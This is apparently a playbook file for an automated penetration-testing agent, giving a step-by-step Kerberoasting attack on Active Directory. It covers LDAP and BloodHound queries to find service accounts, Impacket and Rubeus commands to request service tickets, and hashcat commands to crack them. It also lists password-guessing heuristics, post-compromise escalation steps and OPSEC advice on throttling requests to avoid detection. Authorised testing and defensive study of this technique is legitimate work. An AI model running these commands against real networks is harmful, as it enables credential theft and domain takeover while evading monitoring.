kerberoasting

name	kerberoasting
description	Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.
metadata	{"subdomain":"active-directory","when_to_use":"kerberoasting spn service ticket hashcat","mitre_attack":["T1558.003"]}

Kerberoasting Playbook

Prerequisite

Any valid domain user. No special privileges required.

1. Identify roastable accounts

From BloodHound ingest:

kg_query(kind="user", filter="hasspn=true and enabled=true")

Or LDAP-direct:

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt

2. Request TGS tickets

Impacket (most reliable):

GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes

Rubeus (from Windows beachhead):

Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap

Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….

3. Crack offline

# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

Service-account heuristics: 60-70% of kerberoasted accounts use:

• ServiceName + season + year (e.g. SQLSvc2024!, IISWinter25)
• App name + 4-digit numbers
• Default install passwords (Veeam, SCCM, Splunk admins)
• Custom dict from OSINT (company name, products, projects)

4. Promote cracked credential

kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")

5. Post-crack actions

Whatever the service account can reach is now yours:

• Run BloodHound as the new cred → re-ingest
• Often these accounts have AdminTo on the box hosting the service
• Sometimes they're members of Tier-0 groups (yes, really)

OPSEC notes

• Requesting TGS tickets is logged to 4769 events on the DC
• Detection: 4769 with Ticket Encryption Type=0x17 (RC4) when the service supports AES is anomalous
• Rate limiting: don't request all SPNs at once on a monitored network; Impacket has no built-in throttle, write a wrapper
• Use -no-preauth to avoid lockout if doing manual TGS via kinit

CVSS

• Roastable + crackable in scope timeframe: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
• Roastable but uncrackable (long random pw): Informational
• AES-only + no offline crack feasible: Low

Common services found

SPN prefix	Likely account	Typical impact
MSSQLSvc/	SQL service account	Often local admin on DB host
HTTP/sccm*	SCCM service	Often Domain Admin (misconfig)
MSOLAPSvc.3/	SSAS	Local admin on analysis server
kadmin/changepw	KDC account	RARE — high value if hit
exchangeMDB/	Exchange recovery	Sometimes priv group